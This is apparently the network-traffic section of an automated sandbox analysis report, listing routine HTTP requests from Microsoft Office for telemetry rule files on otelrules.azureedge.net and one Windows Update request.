Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wmzoUWafuNHhfWZ&MD=cVVuztN8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
